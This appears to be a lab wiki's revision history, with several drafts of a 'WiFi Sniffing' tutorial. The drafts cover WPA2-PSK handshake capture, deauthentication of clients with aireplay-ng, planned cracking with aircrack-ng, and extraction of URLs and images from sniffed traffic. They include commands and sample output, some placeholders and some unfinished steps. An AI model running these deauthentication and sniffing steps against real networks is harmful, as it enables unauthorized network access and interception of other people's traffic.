          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. &lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8251</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8251"/>
		<updated>2021-12-17T11:18:49Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 -bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 output muss noch rein&lt;br /&gt;
 &lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a &lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8250</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8250"/>
		<updated>2021-12-17T11:06:02Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 3 - */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 -bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 output muss noch rein&lt;br /&gt;
 &lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
